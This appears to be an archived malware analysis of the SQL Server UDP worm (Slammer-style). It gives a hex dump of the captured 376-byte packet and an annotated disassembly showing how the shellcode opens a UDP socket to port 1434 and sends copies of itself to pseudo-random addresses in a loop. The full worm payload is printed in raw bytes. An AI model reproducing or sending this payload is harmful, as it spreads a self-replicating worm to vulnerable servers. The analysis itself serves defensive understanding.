warning #1: i do not do much windows programming.
warning #2: i have not slept much lately.
this worm is completely contained inside its 376 byte payload;
i disassembled the code itself (search for "start here") after
the nops to find out what it does. there are some annotations;
most should make sense but feel free to let me know if i'm
way off.
the short story: it sends copies of itself to everyone.
it does not store anything on the file system or even change
anything directly. i do not know where the flaw in sqlserver
is, although it seems like this is pretty well known already
(for instance, there is a similar exploit at
http://www.ysgnet.com/hn/exploits/adv_win32_shellcode.txt)
shutting down sqlserver will completely stop this (although
you will still be vulnerable again, of course)
this was disassembled from www.boredom.org/~cstone/onepacket
which is a pcap capture of a single packet.
if you don't know how to work objdump, here's how:
objdump -s -m i386 -b binary -z --disassemble-all --start-address 0xc0 --show-raw-insn duh.pcap
--cstone@pobox.com
duh.pcap: file format binary
Contents of section .data:
0000 d4c3b2a1 02000400 00000000 00000000 Ôò¡............
0010 88130000 01000000 0d40323e ff7b0200 .........@2>ÿ{..
0020 a2010000 a2010000 00e08121 e1660005 ¢...¢....à.!áf..
0030 dd79e870 08004500 01943127 00007411 Ýyèp..E...1'..t.
0040 53ce9320 8178d1a6 da240fb0 059a0180 SÎ. .xѦÚ$.°....
0050 65370401 01010101 01010101 01010101 e7..............
0060 01010101 01010101 01010101 01010101 ................
0070 01010101 01010101 01010101 01010101 ................
0080 01010101 01010101 01010101 01010101 ................
0090 01010101 01010101 01010101 01010101 ................
00a0 01010101 01010101 01010101 01010101 ................
00b0 010101dc c9b042eb 0e010101 01010101 ...ÜɰBë........
00c0 70ae4201 70ae4290 90909090 90909068 p®B.p®B........h
00d0 dcc9b042 b8010101 0131c9b1 1850e2fd ÜɰB¸....1ɱ.Pâý
00e0 35010101 055089e5 51682e64 6c6c6865 5....P.åQh.dllhe
00f0 6c333268 6b65726e 51686f75 6e746869 l32hkernQhounthi
0100 636b4368 47657454 66b96c6c 51683332 ckChGetTf¹llQh32
0110 2e646877 73325f66 b9657451 68736f63 .dhws2_f¹etQhsoc
0120 6b66b974 6f516873 656e64be 1810ae42 kf¹toQhsend¾..®B
0130 8d45d450 ff16508d 45e0508d 45f050ff .EÔPÿ.P.EàP.EðPÿ
0140 1650be10 10ae428b 1e8b033d 558bec51 .P¾..®B....=U.ìQ
0150 7405be1c 10ae42ff 16ffd031 c9515150 t.¾..®Bÿ.ÿÐ1ÉQQP
0160 81f10301 049b81f1 01010101 518d45cc .ñ.....ñ....Q.EÌ
0170 508b45c0 50ff166a 116a026a 02ffd050 P.EÀPÿ.j.j.j.ÿÐP
0180 8d45c450 8b45c050 ff1689c6 09db81f3 .EÄP.EÀPÿ..Æ.Û.ó
0190 3c61d9ff 8b45b48d 0c408d14 88c1e204 <aÙÿ.E´..@...Áâ.
01a0 01c2c1e2 0829c28d 049001d8 8945b46a .ÂÁâ.)Â....Ø.E´j
01b0 108d45b0 5031c951 6681f178 01518d45 ..E°P1ÉQf.ñx.Q.E
01c0 03508b45 ac50ffd6 ebca .P.E¬PÿÖëÊ
Disassembly of section .data:
00000000 <.data>:
0: d4 c3 aam $0xffffffc3
2: b2 a1 mov $0xa1,%dl
4: 02 00 add (%eax),%al
6: 04 00 add $0x0,%al
8: 00 00 add %al,(%eax)
a: 00 00 add %al,(%eax)
c: 00 00 add %al,(%eax)
e: 00 00 add %al,(%eax)
10: 88 13 mov %dl,(%ebx)
12: 00 00 add %al,(%eax)
14: 01 00 add %eax,(%eax)
16: 00 00 add %al,(%eax)
18: 0d 40 32 3e ff or $0xff3e3240,%eax
1d: 7b 02 jnp 0x21
1f: 00 a2 01 00 00 a2 add %ah,0xa2000001(%edx)
25: 01 00 add %eax,(%eax)
27: 00 00 add %al,(%eax)
29: e0 81 loopne 0xffffffac
2b: 21 e1 and %esp,%ecx
2d: 66 data16
2e: 00 05 dd 79 e8 70 add %al,0x70e879dd
34: 08 00 or %al,(%eax)
36: 45 inc %ebp
37: 00 01 add %al,(%ecx)
39: 94 xchg %eax,%esp
3a: 31 27 xor %esp,(%edi)
3c: 00 00 add %al,(%eax)
3e: 74 11 je 0x51
40: 53 push %ebx
41: ce into
42: 93 xchg %eax,%ebx
43: 20 81 78 d1 a6 da and %al,0xdaa6d178(%ecx)
49: 24 0f and $0xf,%al
4b: b0 05 mov $0x5,%al
4d: 9a 01 80 65 37 04 01 lcall $0x104,$0x37658001
54: 01 01 add %eax,(%ecx)
56: 01 01 add %eax,(%ecx)
58: 01 01 add %eax,(%ecx)
5a: 01 01 add %eax,(%ecx)
5c: 01 01 add %eax,(%ecx)
5e: 01 01 add %eax,(%ecx)
60: 01 01 add %eax,(%ecx)
62: 01 01 add %eax,(%ecx)
64: 01 01 add %eax,(%ecx)
66: 01 01 add %eax,(%ecx)
68: 01 01 add %eax,(%ecx)
6a: 01 01 add %eax,(%ecx)
6c: 01 01 add %eax,(%ecx)
6e: 01 01 add %eax,(%ecx)
70: 01 01 add %eax,(%ecx)
72: 01 01 add %eax,(%ecx)
74: 01 01 add %eax,(%ecx)
76: 01 01 add %eax,(%ecx)
78: 01 01 add %eax,(%ecx)
7a: 01 01 add %eax,(%ecx)
7c: 01 01 add %eax,(%ecx)
7e: 01 01 add %eax,(%ecx)
80: 01 01 add %eax,(%ecx)
82: 01 01 add %eax,(%ecx)
84: 01 01 add %eax,(%ecx)
86: 01 01 add %eax,(%ecx)
88: 01 01 add %eax,(%ecx)
8a: 01 01 add %eax,(%ecx)
8c: 01 01 add %eax,(%ecx)
8e: 01 01 add %eax,(%ecx)
90: 01 01 add %eax,(%ecx)
92: 01 01 add %eax,(%ecx)
94: 01 01 add %eax,(%ecx)
96: 01 01 add %eax,(%ecx)
98: 01 01 add %eax,(%ecx)
9a: 01 01 add %eax,(%ecx)
9c: 01 01 add %eax,(%ecx)
9e: 01 01 add %eax,(%ecx)
a0: 01 01 add %eax,(%ecx)
a2: 01 01 add %eax,(%ecx)
a4: 01 01 add %eax,(%ecx)
a6: 01 01 add %eax,(%ecx)
a8: 01 01 add %eax,(%ecx)
aa: 01 01 add %eax,(%ecx)
ac: 01 01 add %eax,(%ecx)
ae: 01 01 add %eax,(%ecx)
b0: 01 01 add %eax,(%ecx)
b2: 01 dc add %ebx,%esp
b4: c9 leave
b5: b0 42 mov $0x42,%al
b7: eb 0e jmp 0xc7
b9: 01 01 add %eax,(%ecx)
bb: 01 01 add %eax,(%ecx)
bd: 01 01 add %eax,(%ecx)
bf: 01 70 ae add %esi,0xffffffae(%eax)
c2: 42 inc %edx
c3: 01 70 ae add %esi,0xffffffae(%eax)
c6: 42 inc %edx
c7: 90 nop
c8: 90 nop
c9: 90 nop
ca: 90 nop
cb: 90 nop
cc: 90 nop
cd: 90 nop
--- start here
ce: 90 nop
cf: 68 dc c9 b0 42 push $0x42b0c9dc
d4: b8 01 01 01 01 mov $0x1010101,%eax
d9: 31 c9 xor %ecx,%ecx
db: b1 18 mov $0x18,%cl
dd: 50 push %eax
de: e2 fd loop 0xdd
e1: 35 01 01 01 05 xor $0x5010101,%eax
e5: 50 push %eax
e6: 89 e5 mov %esp,%ebp
e8: 51 push %ecx
these push a mini-symbol table on the stack.
initially it looks something like this:
sendto00 cb
socket00 d3
ws2_32.d db
ll00GetT e3
ickCount eb
0000kern f3
el32.dll fb
00000004
^ ebp
e9: 68 2e 64 6c 6c push $0x6c6c642e
ee: 68 65 6c 33 32 push $0x32336c65
f3: 68 6b 65 72 6e push $0x6e72656b
f8: 51 push %ecx
f9: 68 6f 75 6e 74 push $0x746e756f
fe: 68 69 63 6b 43 push $0x436b6369
103: 68 47 65 74 54 push $0x54746547
108: 66 b9 6c 6c mov $0x6c6c,%cx
10c: 51 push %ecx
10d: 68 33 32 2e 64 push $0x642e3233
112: 68 77 73 32 5f push $0x5f327377
117: 66 b9 65 74 mov $0x7465,%cx
11b: 51 push %ecx
11c: 68 73 6f 63 6b push $0x6b636f73
121: 66 b9 74 6f mov $0x6f74,%cx
125: 51 push %ecx
126: 68 73 65 6e 64 push $0x646e6573
12b: be 18 10 ae 42 mov $0x42ae1018,%esi
# find sendto in ws2_32.dll
130: 8d 45 d4 lea 0xffffffd4(%ebp),%eax ## ws2_32.dll:sendto
133: 50 push %eax
134: ff 16 call *(%esi)
136: 50 push %eax # SND2
# find GetTickCount
137: 8d 45 e0 lea 0xffffffe0(%ebp),%eax ## GetTickCount
13a: 50 push %eax
13b: 8d 45 f0 lea 0xfffffff0(%ebp),%eax ## kernel32.dll
13e: 50 push %eax
13f: ff 16 call *(%esi)
141: 50 push %eax # GETT
# GetProcAddr apparently appears in different locations -- this one
# tries both
142: be 10 10 ae 42 mov $0x42ae1010,%esi # try 1 for GetProcAddress
147: 8b 1e mov (%esi),%ebx
149: 8b 03 mov (%ebx),%eax
14b: 3d 55 8b ec 51 cmp $0x51ec8b55,%eax # is this the right proc?
150: 74 05 je 0x157 # if we're ok then go ahead
152: be 1c 10 ae 42 mov $0x42ae101c,%esi # try 2 for GetProcAddress
157: ff 16 call *(%esi)
159: ff d0 call *%eax # call GetTickCount
15b: 31 c9 xor %ecx,%ecx
15d: 51 push %ecx #
15e: 51 push %ecx #
15f: 50 push %eax # push the tick count
# 0 ^ 0x9b040103 ^ 0x01010101 = 0x9a050002; this goes in
# little-endian; 0x59a is 1434, our port and 0002 is the family
# (AF_INET)
160: 81 f1 03 01 04 9b xor $0x9b040103,%ecx
166: 81 f1 01 01 01 01 xor $0x1010101,%ecx
16c: 51 push %ecx
16d: 8d 45 cc lea 0xffffffcc(%ebp),%eax # socket
170: 50 push %eax
171: 8b 45 c0 mov 0xffffffc0(%ebp),%eax # handle; SND2
174: 50 push %eax
175: ff 16 call *(%esi)
177: 6a 11 push $0x11 # protocol 17 - udp
179: 6a 02 push $0x2 # socket type SOCK_DGRAM
17b: 6a 02 push $0x2 # AF_INET
17d: ff d0 call *%eax # call socket
17f: 50 push %eax # push socket (SOCK) at ffffffb0(%ebp)
180: 8d 45 c4 lea 0xffffffc4(%ebp),%eax # get sendto addr
183: 50 push %eax
184: 8b 45 c0 mov 0xffffffc0(%ebp),%eax
187: 50 push %eax
188: ff 16 call *(%esi)
# it is almost ready to call sendto at this point -- however, GetTickCount
# was not sufficiently random enough for this guy, so he plays around
# with the address a bit before finally pushing it back into 0xffffffb4(%ebp)
# this mangling also ensures that it can loop without calling GetTickCount
# again, and get a different address.
# (although the quality of randomness is obviously in question here)
18a: 89 c6 mov %eax,%esi # move sendto addr
18c: 09 db or %ebx,%ebx # for mangling
18e: 81 f3 3c 61 d9 ff xor $0xffd9613c,%ebx
# start of the loop
194: 8b 45 b4 mov 0xffffffb4(%ebp),%eax # mov addr to eax
197: 8d 0c 40 lea (%eax,%eax,2),%ecx # mangle the address.
19a: 8d 14 88 lea (%eax,%ecx,4),%edx
19d: c1 e2 04 shl $0x4,%edx
1a0: 01 c2 add %eax,%edx
1a2: c1 e2 08 shl $0x8,%edx
1a5: 29 c2 sub %eax,%edx
1a7: 8d 04 90 lea (%eax,%edx,4),%eax
1aa: 01 d8 add %ebx,%eax # okay done mangling
1ac: 89 45 b4 mov %eax,0xffffffb4(%ebp)
1af: 6a 10 push $0x10 # length of the sockaddr
1b1: 8d 45 b0 lea 0xffffffb0(%ebp),%eax # b0 is where sockaddr starts
1b4: 50 push %eax # push sockaddr
1b5: 31 c9 xor %ecx,%ecx
1b7: 51 push %ecx # flags - none
1b8: 66 81 f1 78 01 xor $0x178,%cx # 376 bytes; the length
1bd: 51 push %ecx
1be: 8d 45 03 lea 0x3(%ebp),%eax # get the beginning of the buffer
1c1: 50 push %eax # push addr
1c2: 8b 45 ac mov 0xffffffac(%ebp),%eax # get socket handle
1c5: 50 push %eax #
1c6: ff d6 call *%esi # call sendto
1c8: eb ca jmp 0x194 # jump back and do this again
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH